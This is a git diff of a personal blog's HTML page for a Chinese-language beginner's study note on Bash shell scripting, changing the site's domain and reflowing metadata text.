diff --git a/posts/120/index.html b/posts/120/index.html
index 585af4b6..f0599db2 100644
--- a/posts/120/index.html
+++ b/posts/120/index.html
@@ -1,6 +1,6 @@
 <!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>shell脚本学习笔记 | 小陈的个人博客</title><meta name=keywords content="shell"><meta name=description content="shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
echo &#34;hallo word&#34;
执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo &#34;hallo word&#34; 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -25,10 +25,10 @@
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
echo &#34;参数1: $1&#34;
echo &#34;被执行的脚本为: $0&#34;
}
abc hallo
."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/120/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="shell脚本学习笔记"><meta property="og:description" content="shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
+function abc(){ echo &#34;参数1: $1&#34; echo &#34;被执行的脚本为: $0&#34; } abc hallo ."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/120/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="shell脚本学习笔记"><meta property="og:description" content="shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
echo &#34;hallo word&#34;
执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo &#34;hallo word&#34; 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -53,9 +53,9 @@
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
echo &#34;参数1: $1&#34;
echo &#34;被执行的脚本为: $0&#34;
}
abc hallo
."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/120/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-11-23T00:01:00+00:00"><meta property="article:modified_time" content="2021-11-23T00:01:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="shell脚本学习笔记"><meta name=twitter:description content="shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
+function abc(){ echo &#34;参数1: $1&#34; echo &#34;被执行的脚本为: $0&#34; } abc hallo ."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/120/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-11-23T00:01:00+00:00"><meta property="article:modified_time" content="2021-11-23T00:01:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="shell脚本学习笔记"><meta name=twitter:description content="shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
echo &#34;hallo word&#34;
执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo &#34;hallo word&#34; 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -80,8 +80,8 @@
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
echo &#34;参数1: $1&#34;
echo &#34;被执行的脚本为: $0&#34;
}
abc hallo
."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"shell脚本学习笔记","item":"https://xiaochenabc123.github.io/posts/120/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"shell脚本学习笔记","name":"shell脚本学习笔记","description":"shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序\n例如：\n#!/bin/bash\recho \u0026quot;hallo word\u0026quot;\r执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）\nbash hallo.sh\n也可以直接执行\n./hallo.sh\n变量（首字符必须是字母，而且不能有bash的关键字，大小写敏感）\ndata = \u0026ldquo;hallo\u0026rdquo; echo $data data = \u0026ldquo;word\u0026rdquo; echo ${data}\n注意：如果使用单引号，单引号里面有变量的话，是无法生效的，而且还不能出现单引号，而且双引号可以使用变量和转义字符，美元符号（$）只有在使用变量才需要，在定义，更新，删除变量都不需要\n例如：\nname=\u0026ldquo;chenjunlin\u0026rdquo; data=\u0026ldquo;hallo, ${name} !\u0026rdquo; echo $data\n获取字符串的长度\ndata=\u0026ldquo;hallo word\u0026rdquo; echo ${#data}\n获取指定位置的字符 data=\u0026ldquo;hallo word\u0026rdquo; echo ${#data:5:8}\n删除变量（不能删除只读变量）\nunset data echo ${data}\n在shell脚本定义的变量只能在当前脚本交互中使用，可以通过export传递变量到子shell中，可以通过env或者export指令来获取当前shell的环境变量\n参数\necho \u0026ldquo;hallo word\u0026rdquo;; echo \u0026ldquo;要执行的shell脚本：$0\u0026rdquo;; echo \u0026ldquo;参数为：$1\u0026rdquo;;\n./hallo.sh abc\n获取参数的个数：$#\n以单一字符串的方式输出全部参数（要被双引号包裹）：$*\n以独立字符串的方式输出全部参数（要被双引号包裹）：$@\n获取上个命令的状态（是否执行成功，0为成功，非0为失败）：$?\n获取当前脚本shell进程的ID：$$\n获取后台运行的最后一个进程的ID：$!\n配合函数使用（参数也可以通过函数来传递）\nfunction abc(){\recho \u0026quot;参数1: $1\u0026quot;\recho \u0026quot;被执行的脚本为: $0\u0026quot;\r}\rabc hallo\r.","keywords":["shell"],"articleBody":"shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序\n例如：\n#!/bin/bash\recho \"hallo word\"\r执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）\nbash hallo.sh\n也可以直接执行\n./hallo.sh\n变量（首字符必须是字母，而且不能有bash的关键字，大小写敏感）\ndata = “hallo” echo $data data = “word” echo ${data}\n注意：如果使用单引号，单引号里面有变量的话，是无法生效的，而且还不能出现单引号，而且双引号可以使用变量和转义字符，美元符号（$）只有在使用变量才需要，在定义，更新，删除变量都不需要\n例如：\nname=“chenjunlin” data=“hallo, ${name} !” echo $data\n获取字符串的长度\ndata=“hallo word” echo ${#data}\n获取指定位置的字符 data=“hallo word” echo ${#data:5:8}\n删除变量（不能删除只读变量）\nunset data echo ${data}\n在shell脚本定义的变量只能在当前脚本交互中使用，可以通过export传递变量到子shell中，可以通过env或者export指令来获取当前shell的环境变量\n参数\necho “hallo word”; echo “要执行的shell脚本：$0”; echo “参数为：$1”;\n./hallo.sh abc\n获取参数的个数：$#\n以单一字符串的方式输出全部参数（要被双引号包裹）：$*\n以独立字符串的方式输出全部参数（要被双引号包裹）：$@\n获取上个命令的状态（是否执行成功，0为成功，非0为失败）：$?\n获取当前脚本shell进程的ID：$$\n获取后台运行的最后一个进程的ID：$!\n配合函数使用（参数也可以通过函数来传递）\nfunction abc(){\recho \"参数1: $1\"\recho \"被执行的脚本为: $0\"\r}\rabc hallo\r./hallo.sh\n参数1: hallo 被执行的脚本为: hallo.sh\n数组（不需要逗号分开，使用的是空格）\ndata = (1 2 3 4 5 “hallo word”) data[6] = “shell 666” echo “${data[6]}”\n获取数组的长度\n${#data[*]}或者${#data[@]}\"\n删除数组或者元素（如果不带索引则删除全部元素）\nunset data[5]\n数组切片\necho “${data[@]:2:4}”\n数组元素更新\necho “${data[@]/2/100}”\n数学运算（bash并不支持运算，需要利用第三方工具）\nabc = 123 xyz =666 let data = ${abc} + ${xyz} echo $data\n或者\ndata = `expr $abc + $xyz` echo $data\ndata = $[$abc + $xyz] echo $data\ndata = $(($abc + $xyz)) echo $data\n注意：shell的关系运算符不支持字符串，只支持数字\n判断是否相等：-eq 判断是否不相等：-ne 判断是否大于：-gt 判断是否小于：-lt 判断是否相等或者大于：-ge 判断是否相等或者小于：-le\n例如：\nabc = 123\rxyz =666\rif [ $abc -eq $xyz ]\rthen\recho\"相等\"\relse\recho\"不相等\"\rfi\rif [ $abc -gt $xyz ]\rthen\recho\"大于\"\relse\recho\"不大于\"\r布尔运算符\n\u0026\u0026和||\n或：-o\n与：-a\n非：!\n例如：\nabc = 123\rxyz = 666\rif [ $abc -eq $xyz -o $abc -lt $xyz]\rthen\recho\"相等或者小于\"\relse\recho\"不相等或者小于\"\rfi\r字符串运算符\nabc = \"hallo\"\rxyz = \"hi\"\rif [$abc = $xyz];then\recho\"相等\"\relse\recho\"不相等\"\r判断字符串长度是否为0：-z（为0返回true） 判断字符串长度是否不为0：-n（不为0返回true） 判断字符串是否不为空：$（不为空返回true）\n例如：\na = \"hallo word\"\rb = \"abchhh\"\rif [ -z $a];then\recho \"$a :字符串长度为0\"\relse\recho \"$a :字符串长度不为0\"\rfi\rif [ ${b}];then\recho \"$b :字符串不为空\"\relse\recho \"$b :字符串为空\"\rfi\r文件运算符\n检查文件是否为目录（是返回true）：-d 检查文件是否为块设备文件：-b 检查文件是否为字符设备文件：-c 检查文件是否为普通文件（不是目录，也不能设备文件）：-f 检查文件是否可读：-r 检查文件是否可写：-w 检查文件是否可执行：-x 检查文件大小是否大于0（大于返回true）：-s 检查文件（目录）是否存在：-e 检查文件是否设置了SGID位：-g 检查文件是否设置了SUID位：-u 检查文件是否是有名管道：-p 检查文件是否设置粘着位(Sticky Bit)：-k\n例如：\ndata = \"/etc/hallo\"\rif [-r $data]\rthen\recho \"文件可读\"\relse\recho \"文件不可读\"\rfi\rif [-e $data]\rthen\recho \"文件存在\"\relse\recho \"文件不存在\"\rfi\recho和printf\necho可以输出普通字符串，转义，变量\n开启转义功能：echo -e “hallo!!! \\n”\n使用单引号可以原封不动的输出字符串\n将执行结果指向到文件中\necho “hallo word” \u003e data\nprintf比较高级点，可以定义字符串的对齐方式，宽度等等，而且printf默认不自动添加换行符（echo自动添加），可以手动\\n\nprintf “%-8s %-5s %-6.3s\\n” root data main 6.12345\n上面这句脚本的%s表示输出字符串（类似的还有$c(整型输出),$d（字符输出）,$f（小数输出））\n%-8s表示一个宽度为8个字符，如果有-表示左对齐，没有就是右对齐，全部字符都被输出到8个字符宽的字符中，如果不足8个字符，则自动以空格填充，超出的话，也会全部显示（不会忽略）\n%-6.3s表示将其格式化为小数，.3表示保留3位小数\ntest命令用来判断条件是否成立，数值，字符，文件都可以判断\ntest命令使用的是关系运算符，例如：\ndata1 = 300\rdata2 = 200\rif test $[data1] -gt $[data2]\rthen\recho \"data1大于data2\"\relse\recho \"data1小于data2\"\rfi\rif判断（注意：如果else分支没有语句要执行，就不要写else了）\nif then elif else fi\nfor循环\nfor data in 1 2 3\rdo\recho \"data : $data\"\rdone\rwhile循环\ndata = 1\rwhile(( $data \u003c= 10))\rdo\recho $data\rlet \"data++\"\rdone\runtil循环\ndata=1\runtil [ ! $data -lt 10 ]\rdo\recho $data\rdata=`expr $data + 1`\rdone\rcase … esac语句（替代switch语句）\necho '请输入1到3之间的数字:'\recho '输入的数字为:'\rread data\rcase $data in\r1) echo '1'\r;;\r2) echo '2'\r;;\r3) echo '3'\r;;\r*) echo '没有输入1到3之间的数字'\r;;\resac\r跳出循环\nbreak（终止执行后面的循环，一般搭配判断使用）\ncontinue（只终止当前循环，不会终止执行后面的循环）\n函数\ndemo(){\recho \"hallo word\"\rreturn $(($1+2))\r}\rdemo 100 300\recho \" $? \"\r","wordCount":"435","inLanguage":"en","datePublished":"2021-11-23T00:01:00Z","dateModified":"2021-11-23T00:01:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/120/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>shell脚本学习笔记</h1><div class=post-meta><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/shell%e8%84%9a%e6%9c%ac%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序</p><p>例如：</p><pre><code>#!/bin/bash
-echo &quot;hallo word&quot;
+function abc(){ echo &#34;参数1: $1&#34; echo &#34;被执行的脚本为: $0&#34; } abc hallo ."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"shell脚本学习笔记","item":"https://chenjunlinabc.github.io/posts/120/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"shell脚本学习笔记","name":"shell脚本学习笔记","description":"shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序\n例如：\n#!/bin/bash echo \u0026quot;hallo word\u0026quot; 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）\nbash hallo.sh\n也可以直接执行\n./hallo.sh\n变量（首字符必须是字母，而且不能有bash的关键字，大小写敏感）\ndata = \u0026ldquo;hallo\u0026rdquo; echo $data data = \u0026ldquo;word\u0026rdquo; echo ${data}\n注意：如果使用单引号，单引号里面有变量的话，是无法生效的，而且还不能出现单引号，而且双引号可以使用变量和转义字符，美元符号（$）只有在使用变量才需要，在定义，更新，删除变量都不需要\n例如：\nname=\u0026ldquo;chenjunlin\u0026rdquo; data=\u0026ldquo;hallo, ${name} !\u0026rdquo; echo $data\n获取字符串的长度\ndata=\u0026ldquo;hallo word\u0026rdquo; echo ${#data}\n获取指定位置的字符 data=\u0026ldquo;hallo word\u0026rdquo; echo ${#data:5:8}\n删除变量（不能删除只读变量）\nunset data echo ${data}\n在shell脚本定义的变量只能在当前脚本交互中使用，可以通过export传递变量到子shell中，可以通过env或者export指令来获取当前shell的环境变量\n参数\necho \u0026ldquo;hallo word\u0026rdquo;; echo \u0026ldquo;要执行的shell脚本：$0\u0026rdquo;; echo \u0026ldquo;参数为：$1\u0026rdquo;;\n./hallo.sh abc\n获取参数的个数：$#\n以单一字符串的方式输出全部参数（要被双引号包裹）：$*\n以独立字符串的方式输出全部参数（要被双引号包裹）：$@\n获取上个命令的状态（是否执行成功，0为成功，非0为失败）：$?\n获取当前脚本shell进程的ID：$$\n获取后台运行的最后一个进程的ID：$!\n配合函数使用（参数也可以通过函数来传递）\nfunction abc(){ echo \u0026quot;参数1: $1\u0026quot; echo \u0026quot;被执行的脚本为: $0\u0026quot; } abc hallo .","keywords":["shell"],"articleBody":"shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序\n例如：\n#!/bin/bash echo \"hallo word\" 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）\nbash hallo.sh\n也可以直接执行\n./hallo.sh\n变量（首字符必须是字母，而且不能有bash的关键字，大小写敏感）\ndata = “hallo” echo $data data = “word” echo ${data}\n注意：如果使用单引号，单引号里面有变量的话，是无法生效的，而且还不能出现单引号，而且双引号可以使用变量和转义字符，美元符号（$）只有在使用变量才需要，在定义，更新，删除变量都不需要\n例如：\nname=“chenjunlin” data=“hallo, ${name} !” echo $data\n获取字符串的长度\ndata=“hallo word” echo ${#data}\n获取指定位置的字符 data=“hallo word” echo ${#data:5:8}\n删除变量（不能删除只读变量）\nunset data echo ${data}\n在shell脚本定义的变量只能在当前脚本交互中使用，可以通过export传递变量到子shell中，可以通过env或者export指令来获取当前shell的环境变量\n参数\necho “hallo word”; echo “要执行的shell脚本：$0”; echo “参数为：$1”;\n./hallo.sh abc\n获取参数的个数：$#\n以单一字符串的方式输出全部参数（要被双引号包裹）：$*\n以独立字符串的方式输出全部参数（要被双引号包裹）：$@\n获取上个命令的状态（是否执行成功，0为成功，非0为失败）：$?\n获取当前脚本shell进程的ID：$$\n获取后台运行的最后一个进程的ID：$!\n配合函数使用（参数也可以通过函数来传递）\nfunction abc(){ echo \"参数1: $1\" echo \"被执行的脚本为: $0\" } abc hallo ./hallo.sh\n参数1: hallo 被执行的脚本为: hallo.sh\n数组（不需要逗号分开，使用的是空格）\ndata = (1 2 3 4 5 “hallo word”) data[6] = “shell 666” echo “${data[6]}”\n获取数组的长度\n${#data[*]}或者${#data[@]}\"\n删除数组或者元素（如果不带索引则删除全部元素）\nunset data[5]\n数组切片\necho “${data[@]:2:4}”\n数组元素更新\necho “${data[@]/2/100}”\n数学运算（bash并不支持运算，需要利用第三方工具）\nabc = 123 xyz =666 let data = ${abc} + ${xyz} echo $data\n或者\ndata = `expr $abc + $xyz` echo $data\ndata = $[$abc + $xyz] echo $data\ndata = $(($abc + $xyz)) echo $data\n注意：shell的关系运算符不支持字符串，只支持数字\n判断是否相等：-eq 判断是否不相等：-ne 判断是否大于：-gt 判断是否小于：-lt 判断是否相等或者大于：-ge 判断是否相等或者小于：-le\n例如：\nabc = 123 xyz =666 if [ $abc -eq $xyz ] then echo\"相等\" else echo\"不相等\" fi if [ $abc -gt $xyz ] then echo\"大于\" else echo\"不大于\" 布尔运算符\n\u0026\u0026和||\n或：-o\n与：-a\n非：!\n例如：\nabc = 123 xyz = 666 if [ $abc -eq $xyz -o $abc -lt $xyz] then echo\"相等或者小于\" else echo\"不相等或者小于\" fi 字符串运算符\nabc = \"hallo\" xyz = \"hi\" if [$abc = $xyz];then echo\"相等\" else echo\"不相等\" 判断字符串长度是否为0：-z（为0返回true） 判断字符串长度是否不为0：-n（不为0返回true） 判断字符串是否不为空：$（不为空返回true）\n例如：\na = \"hallo word\" b = \"abchhh\" if [ -z $a];then echo \"$a :字符串长度为0\" else echo \"$a :字符串长度不为0\" fi if [ ${b}];then echo \"$b :字符串不为空\" else echo \"$b :字符串为空\" fi 文件运算符\n检查文件是否为目录（是返回true）：-d 检查文件是否为块设备文件：-b 检查文件是否为字符设备文件：-c 检查文件是否为普通文件（不是目录，也不能设备文件）：-f 检查文件是否可读：-r 检查文件是否可写：-w 检查文件是否可执行：-x 检查文件大小是否大于0（大于返回true）：-s 检查文件（目录）是否存在：-e 检查文件是否设置了SGID位：-g 检查文件是否设置了SUID位：-u 检查文件是否是有名管道：-p 检查文件是否设置粘着位(Sticky Bit)：-k\n例如：\ndata = \"/etc/hallo\" if [-r $data] then echo \"文件可读\" else echo \"文件不可读\" fi if [-e $data] then echo \"文件存在\" else echo \"文件不存在\" fi echo和printf\necho可以输出普通字符串，转义，变量\n开启转义功能：echo -e “hallo!!! \\n”\n使用单引号可以原封不动的输出字符串\n将执行结果指向到文件中\necho “hallo word” \u003e data\nprintf比较高级点，可以定义字符串的对齐方式，宽度等等，而且printf默认不自动添加换行符（echo自动添加），可以手动\\n\nprintf “%-8s %-5s %-6.3s\\n” root data main 6.12345\n上面这句脚本的%s表示输出字符串（类似的还有$c(整型输出),$d（字符输出）,$f（小数输出））\n%-8s表示一个宽度为8个字符，如果有-表示左对齐，没有就是右对齐，全部字符都被输出到8个字符宽的字符中，如果不足8个字符，则自动以空格填充，超出的话，也会全部显示（不会忽略）\n%-6.3s表示将其格式化为小数，.3表示保留3位小数\ntest命令用来判断条件是否成立，数值，字符，文件都可以判断\ntest命令使用的是关系运算符，例如：\ndata1 = 300 data2 = 200 if test $[data1] -gt $[data2] then echo \"data1大于data2\" else echo \"data1小于data2\" fi if判断（注意：如果else分支没有语句要执行，就不要写else了）\nif then elif else fi\nfor循环\nfor data in 1 2 3 do echo \"data : $data\" done while循环\ndata = 1 while(( $data \u003c= 10)) do echo $data let \"data++\" done until循环\ndata=1 until [ ! $data -lt 10 ] do echo $data data=`expr $data + 1` done case … esac语句（替代switch语句）\necho '请输入1到3之间的数字:' echo '输入的数字为:' read data case $data in 1) echo '1' ;; 2) echo '2' ;; 3) echo '3' ;; *) echo '没有输入1到3之间的数字' ;; esac 跳出循环\nbreak（终止执行后面的循环，一般搭配判断使用）\ncontinue（只终止当前循环，不会终止执行后面的循环）\n函数\ndemo(){ echo \"hallo word\" return $(($1+2)) } demo 100 300 echo \" $? \" ","wordCount":"435","inLanguage":"en","datePublished":"2021-11-23T00:01:00Z","dateModified":"2021-11-23T00:01:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/120/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" 